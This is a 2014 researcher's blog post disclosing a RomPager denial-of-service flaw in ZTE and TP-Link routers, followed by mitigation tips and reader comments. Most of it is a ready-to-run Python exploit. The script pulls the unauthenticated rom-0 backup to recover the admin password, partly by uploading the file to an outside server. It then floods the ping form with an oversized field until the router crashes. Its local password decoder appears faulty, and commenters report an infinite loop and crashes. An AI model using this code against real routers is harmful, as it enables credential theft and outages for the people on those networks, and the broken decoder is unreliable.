ZTE and TP-Link RomPager DoS

Introduction

I think by now you know the security issues disclosed related to TP-Link routers. I’ve noticed that some ZTE and TP-Link routers have the same ADSL firmware which is “FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0”. I was curious to test the web application and I found out that the embedded server which is “RomPager” cannot handle fairly large POST requests.
Tested Routers:

  • ZTE ZXV10 W300
  • TP-Link TD-W8901G
  • TP-Link TD-W8101G
  • TP-Link TD-8840G
  • TP-Link TD-8817

Vulnerability Information

The /Forms/tools_test_1 page uses a POST request to send the IP address to ping. We can take advantage of this page for our exploit. You may find other places as well, but this place is quite good for developing an exploit.

But instead of the actual IP address if we send a large buffer the server crashes and the router restarts.

Of course we can do this remotely but still the router uses HTTP Basic authentication to access it’s resources. It means we need to know the router’s password rather than the default password ‘admin’.
How can we achieve this? It’s simple as you all know that there is a rom-0 router backup file disclosure, so without any authentication we can decrypt the password and send our malicious POST requests and crash the router.

POST /Forms/tools_test_1 HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/maintenance/tools_test.htm
Authorization: Basic YWRtaW46bG9s
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 93

Proof of Concept

I’ve developed an automated exploit for this. The usage is
./dos.py -i [internal or external IP]

#!/usr/bin/env python
# -*- coding: utf-8 -*- 

# Exploit Title: ZTE and TP-Link RomPager DoS Exploit
# Date: 10-05-2014
# Server Version: RomPager/4.07 UPnP/1.0
# Tested Routers: 	ZTE ZXV10 W300
#					TP-Link TD-W8901G
#					TP-Link TD-W8101G
#					TP-Link TD-8840G
# Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0
# Tested on: Kali Linux x86
#
# Notes:	Please note this exploit may contain errors, and
#			is provided "as it is". There is no guarantee
#			that it will work on your target router(s), as
#			the code may have to be adapted. 
#			This is to avoid script kiddie abuse as well.
#
# Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
#			  Author takes no responsibility for any kind of damage you cause.
#
# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
# Dedicate to Nick Knight and Hood3dRob1n
#  
# ./dos.py -i 192.168.1.1

import os
import re
import sys
import time
import urllib
import base64
import httplib
import urllib2
import requests
import optparse
import telnetlib
import subprocess
import collections
import unicodedata
 
class BitReader:
	
    def __init__(self, bytes):
        self._bits = collections.deque()
        
        for byte in bytes:
            byte = ord(byte)
            for n in xrange(8):
                self._bits.append(bool((byte >> (7-n)) & 1))
            
    def getBit(self):
        return self._bits.popleft()
        
    def getBits(self, num):
        res = 0
        for i in xrange(num):
            res += self.getBit() << num-1-i
        return res
        
    def getByte(self):
        return self.getBits(8)
        
    def __len__(self):
        return len(self._bits)
        
class RingList:
	
    def __init__(self, length):
        self.__data__ = collections.deque()
        self.__full__ = False
        self.__max__ = length
 
    def append(self, x):
        if self.__full__:
            self.__data__.popleft()
        self.__data__.append(x)
        if self.size() == self.__max__:
            self.__full__ = True
 
    def get(self):
        return self.__data__
 
    def size(self):
        return len(self.__data__)
 
    def maxsize(self):
        return self.__max__
        
    def __getitem__(self, n):
        if n >= self.size():
            return None
        return self.__data__[n]

def filter_non_printable(str):
  return ''.join([c for c in str if ord(c) > 31 or ord(c) == 9])


def banner():
	return '''

\t\t    _/_/_/                _/_/_/   
\t\t   _/    _/    _/_/    _/          
\t\t  _/    _/  _/    _/    _/_/       
\t\t _/    _/  _/    _/        _/      
\t\t_/_/_/      _/_/    _/_/_/         
                           
 '''                          
def dos(host, password):
	while (1):
		url = 'http://' +host+ '/Forms/tools_test_1'
		parameters = {
		'Test_PVC'			:	'PVC0', 
		'PingIPAddr'		:	'\101'*2000,
		'pingflag'			:	'1',
		'trace_open_flag'	:	'0',
		'InfoDisplay'		:	'+-+Info+-%0D%0A'
		}
		
		params = urllib.urlencode(parameters) 
		
		req = urllib2.Request(url, params) 
		base64string = base64.encodestring('%s:%s' % ('admin', password)).replace('\n', '')
		req.add_header("Authorization", "Basic %s" %base64string)
		req.add_header("Content-type", "application/x-www-form-urlencoded")
		req.add_header("Referer", "http://" +host+ "/maintenance/tools_test.htm")
		try:
				print '[~] Sending Payload'	
				response = urllib2.urlopen(req, timeout=1)
				sys.exit(0)
			
		except:
			flag = checkHost(host)
			if flag == 0:
				print '[+] The host is still up and running'
			else:
				print '[~] Success! The host is down'
				sys.exit(0)
				break

def checkHost(host):
	if sys.platform == 'win32':
		c = "ping -n 2 " + host
	else:
		c = "ping -c 2 " + host

	try:
		x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
		time.sleep(1)
		return x
		
	except:
		pass

def checkServer(host):
	connexion = httplib.HTTPConnection(host)
	connexion.request("GET", "/status.html")
	response = connexion.getresponse()
	server = response.getheader("server")
	connexion.close()
	time.sleep(2)
	if server == 'RomPager/4.07 UPnP/1.0':
		return 0
	else:
		return 1

def checkPassword(host):
	print '[+] Checking for default password'
	defaultpass = 'admin'
	tn = telnetlib.Telnet(host, 23, 4)
	tn.read_until("Password: ")
	tn.write(defaultpass + '\n')
	time.sleep(2)
	banner = tn.read_eager()
	banner = regex(len(defaultpass)*r'.'+'\w+' , banner)
	tn.write("exit\n")
	tn.close()
	time.sleep(4)
	if banner == 'Copyright':
		print '[+] Default password is being used'
		dos(host, defaultpass)
	else:
		print '[!] Default Password is not being used'
	while True:
		msg = str(raw_input('[?] Decrypt the rom-0 file locally? ')).lower()
		try:
			if msg[0] == 'y':
				password = decodePasswordLocal(host)
				print '[*] Router password is: ' +password
				dos(host, password)
				break			        
			if msg[0] == 'n':
				password = decodePasswordRemote(host)
				print '[*] Router password is: ' +password
				dos(host, password)
				break
			else:
				print '[!] Enter a valid choice'
		except Exception, e:
				print e
				continue
		

def decodePasswordRemote(host):
	fname = 'rom-0'
	if os.path.isfile(fname) == True:
		os.remove(fname)
	urllib.urlretrieve ("http://"+host+"/rom-0", fname)
	# If this URL goes down you might have to find one and change this function. 
	# You can also use the local decoder. It might have few errors in getting output.
	url = 'http://198.61.167.113/zynos/decoded.php'                # Target URL
	files = {'uploadedfile': open('rom-0', 'rb') }                 # The rom-0 file we wanna upload
	data = {'MAX_FILE_SIZE': 1000000, 'submit': 'Upload rom-0'}    # Additional Parameters we need to include
	headers = { 'User-agent' : 'Python Demo Agent v1' }            # Any additional Headers you want to send or include

	res = requests.post(url, files=files, data=data, headers=headers, allow_redirects=True, timeout=30.0, verify=False )
	res1 =res.content
	p = re.search('rows=10>(.*)', res1)
	if p:
		passwd = found = p.group(1)
	else:
		password = 'NotFound'
	return passwd

def decodePasswordLocal(host):
	# Sometimes this might output a wrong password while finding the exact string. 
	# print the result as mentioned below and manually find out
	fname = 'rom-0'
	if os.path.isfile(fname) == True:
		os.remove(fname)
	urllib.urlretrieve ("http://"+host+"/rom-0", fname)
	fpos=8568
	fend=8788
	fhandle=file('rom-0')
	fhandle.seek(fpos)
	chunk="*"
	amount=221
	while fpos < fend:
	    if fend-fpos < amount:
	        amount = amount
	        data = fhandle.read(amount)
	        fpos += len(data)
	        
	reader = BitReader(data)
	result = ''
	   
	window = RingList(2048)
	    
	while True:
	    bit = reader.getBit()
	    if not bit:
	        char = reader.getByte()
	        result += chr(char)
	        window.append(char)
	    else:
	        bit = reader.getBit()
	        if bit:
	            offset = reader.getBits(7)
	            if offset == 0:
	                break
	        else:
	            offset = reader.getBits(11)
	        
	        lenField = reader.getBits(2)
	        if lenField < 3:
	            lenght = lenField + 2
	        else:
	            lenField <<= 2
	            lenField += reader.getBits(2)
	            if lenField < 15:
	                lenght = (lenField & 0x0f) + 5
	            else:
	                lenCounter = 0
	                lenField = reader.getBits(4)
	                while lenField == 15:
	                    lenField = reader.getBits(4)
	                    lenCounter += 1
	                lenght = 15*lenCounter + 8 + lenField
	        
	        for i in xrange(lenght):
	            char = window[-offset]
	            result += chr(char)
	            window.append(char)

	result = filter_non_printable(result).decode('unicode_escape').encode('ascii','ignore')
	# In case the password you see is wrong while filtering, manually print it from here and findout. 
	#print result 
	if 'TP-LINK' in result:
	    result = ''.join(result.split()).split('TP-LINK', 1)[0] + 'TP-LINK';
	    result = result.replace("TP-LINK", "")
	    result = result[1:]

	if 'ZTE' in result:
	    result = ''.join(result.split()).split('ZTE', 1)[0] + 'ZTE';
	    result = result.replace("ZTE", "")
	    result = result[1:]

	if 'tc160' in result:
	    result = ''.join(result.split()).split('tc160', 1)[0] + 'tc160';
	    result = result.replace("tc160", "")
	    result = result[1:]
	return result
	
def regex(path, text):
	match = re.search(path, text)
	if match:
		return match.group()
	else:
		return None

def main():
	if sys.platform == 'win32':
		os.system('cls')
	else:
		os.system('clear')
	try:
		print banner()
		print '''
|=--------=[ ZTE and TP-Link RomPager Denial of Service Exploit ]=-------=|\n
[*] Author: Osanda Malith Jayathissa
[*] Follow @OsandaMalith
[!] Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
[!] Author takes no responsibility for any kind of damage you cause.

	'''
		parser = optparse.OptionParser("usage: %prog -i <IP Address> ")
		parser.add_option('-i', dest='host', 
							type='string',	
							help='Specify the IP to attack')
		(options, args) = parser.parse_args()
		
		if options.host is None:
			parser.print_help()
			exit(-1)

		host = options.host
		x = checkHost(host)

		if x == 0:
			print '[+] The host is up and running'
			server = checkServer(host)
			if server == 0:
				checkPassword(host)
			else:
				print ('[!] Sorry the router is not running RomPager')
		else:
			print '[!] The host is not up and running'
			sys.exit(0)

	except KeyboardInterrupt:
		print '[!] Ctrl + C detected\n[!] Exiting'
		sys.exit(0)
	except EOFError:
		print '[!] Ctrl + D detected\n[!] Exiting'
		sys.exit(0)

if __name__ == "__main__": 
    main()  
#EOF

Prevention

In TP-Link routers to prevent from this attack you can port forward port 80 to an unused IP address of your network. You will get a message saying that the WAN HTTP port would be changed. Just click ok.

You can also set your default gateway as a DMZ host.

Using any of these methods you can protect from this attack. But I noticed in ZTE W300 routers you can port forward port 80 but it won’t actually forward the WAN HTTP port of the CPE. Sadly I have no solution for ZTE.

http://packetstormsecurity.com/files/127076/ZTE-TP-Link-RomPager-Denial-Of-Service.html
http://www.exploit-db.com/exploits/33737

Advertisements

12 thoughts on “ZTE and TP-Link RomPager DoS

  1. Pingback: Anonymous

  2. While trying to get the admin password, the following error occurs:

    Traceback (most recent call last):
    File “C:\Users\user\Desktop\rom-0.py”, line 122, in
    char = window[-offset]
    File “C:\Users\user\Desktop\rom-0.py”, line 66, in __getitem__
    return self.__data__[n]
    IndexError: deque index out of range

  3. I’m trying to extract info from zte zxv10 w300. After downlading the rom from 192.168.1.1/rom-0 a file of size 16kb is obtained. Trying to execute the above script a infinite loop occurs inside decodePasswordLocal(host), more specifically i found that at some point of the execution at line 243 len(data) is 0, so the instruction fpos += len(data) does not change the value of fpos.
    The same script worked fine with the rom of another identical router.
    In what occasion does this phenomenon occur?

  4. Pingback: امنیت پایین روترهای تی‌پی‌لینک | پالس آزاد

  5. Pingback: alboddity

  6. Pingback: ZTE WXV10 W300 Multiple Vulnerabilities | Blog of Osanda

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s